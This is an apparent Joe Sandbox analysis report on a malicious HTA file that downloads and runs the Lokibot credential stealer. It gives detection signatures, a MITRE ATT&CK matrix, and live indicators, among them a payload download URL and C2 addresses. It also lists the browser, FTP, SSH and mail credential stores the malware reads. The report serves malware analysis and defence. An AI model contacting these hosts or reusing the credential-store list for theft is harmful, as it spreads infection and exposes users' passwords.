Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000009.00000002.2881596868.0000000000948000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\wininit.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: PopPassword		9_2_0040D069
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: SmtpPassword		9_2_0040D069

Source: Yara match	File source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	2 Credentials in Registry	44 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	41 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	51 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	51 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	16%	ReversingLabs	Script-WScript.Trojan.Asthma

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\wininit.exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Roaming\wininit.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://66.63.187.231/33/caspol.e	0%	Avira URL Cloud	safe
http://66.63.187.231/33/caspol.exeC:	0%	Avira URL Cloud	safe
http://94.156.177.41/maxzi/five/fre.php	100%	Avira URL Cloud	malware
http://66.63.187.231/33/caspol.exe-LMEMH	0%	Avira URL Cloud	safe
http://66.63.187.231/33/caspol.exe	100%	Avira URL Cloud	malware
94.156.177.41/maxzi/five/fre.php	100%	Avira URL Cloud	malware
http://66.63.187.231/chedvmbusRFCOMMP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
198.187.3.20.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://66.63.187.231/33/caspol.exe	true	Avira URL Cloud: malware	unknown
94.156.177.41/maxzi/five/fre.php	true	Avira URL Cloud: malware	unknown
http://kbfvzoboss.bid/alien/fre.php	false		high
http://94.156.177.41/maxzi/five/fre.php	true	Avira URL Cloud: malware	unknown
http://alphastand.top/alien/fre.php	false		high
http://alphastand.win/alien/fre.php	false		high
http://alphastand.trade/alien/fre.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ibsensoftware.com/	wininit.exe, wininit.exe, 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBiq	powershell.exe, 00000001.00000002.1813801603.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1701805995.00000000053B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.7.dr	false		high
http://66.63.187.231/33/caspol.exe-LMEMH	powershell.exe, 00000001.00000002.1825901541.000000000787F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.1701805995.0000000005894000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.7.dr	false		high
http://www.founder.com.cn/cn/cThe	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.7.dr	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1823008559.0000000005D67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://66.63.187.231/33/caspol.e	powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.c	powershell.exe, 00000003.00000002.1704693540.0000000007AF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1813801603.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1701805995.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, wininit.exe, 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000007.00000003.1771055791.0000024C1B2C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1823008559.0000000005D67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1704999320.0000000007B60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1703477711.0000000006417000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000007.00000002.2883796438.0000024C1B400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 00000003.00000002.1704693540.0000000007AF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1704999320.0000000007B60000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000007.00000003.1771055791.0000024C1B2C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	wininit.exe, 00000006.00000002.1803017668.0000000006692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://66.63.187.231/chedvmbusRFCOMMP	powershell.exe, 00000001.00000002.1825901541.000000000787F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.231/33/caspol.exeC:	powershell.exe, 00000001.00000002.1825901541.000000000781F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
66.63.187.231	unknown	United States		8100	ASN-QUADRANET-GLOBALUS	true
94.156.177.41	unknown	Bulgaria		43561	NET1-ASBG	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559253
Start date and time:	2024-11-20 10:56:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winHTA@20/27@1/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 78 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.12.23.50, 13.85.23.206, 40.69.42.241, 4.245.163.56, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 6668 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7068 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

Simulations

Behavior and APIs

Time	Type	Description
04:56:59	API Interceptor	75x Sleep call for process: powershell.exe modified
04:57:08	API Interceptor	2x Sleep call for process: svchost.exe modified
04:57:09	API Interceptor	114x Sleep call for process: wininit.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.63.187.231	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	66.63.187.231/33/caspol.exe
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	66.63.187.231/657/caspol.exe
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	66.63.187.231/xampp/noc/seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta
94.156.177.41	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	94.156.177.41/maxzi/five/fre.php
	ECxDwGGFH3.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41/simple/five/fre.php
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.41/simple/five/fre.php
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.41/simple/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	PO-000041492.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	6GvQSVIEIu.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	199.232.210.172
	file.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	________.exe	Get hash	malicious	Quasar	Browse	155.94.209.8
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	66.63.187.231
	________.exe	Get hash	malicious	Quasar	Browse	69.174.98.113
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	66.63.187.231
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	66.63.187.231
	RFQ541634_A_URGENT_QUOTATION_SHENLE.exe	Get hash	malicious	GuLoader	Browse	64.188.27.210
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse	72.11.156.80
	.main.elf	Get hash	malicious	Xmrig	Browse	66.63.187.200
	mips.elf	Get hash	malicious	Mirai	Browse	104.223.82.201
	Trykblgens.exe	Get hash	malicious	GuLoader	Browse	172.93.187.72
NET1-ASBG	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	94.156.177.41
	ECxDwGGFH3.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.41
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.41
	WjcXwIcclB.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41
	0aA7F59xDl.exe	Get hash	malicious	Lokibot	Browse	94.156.177.95
	givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.95

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse
C:\Users\user\AppData\Roaming\188E93\31437F.exe (copy)	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

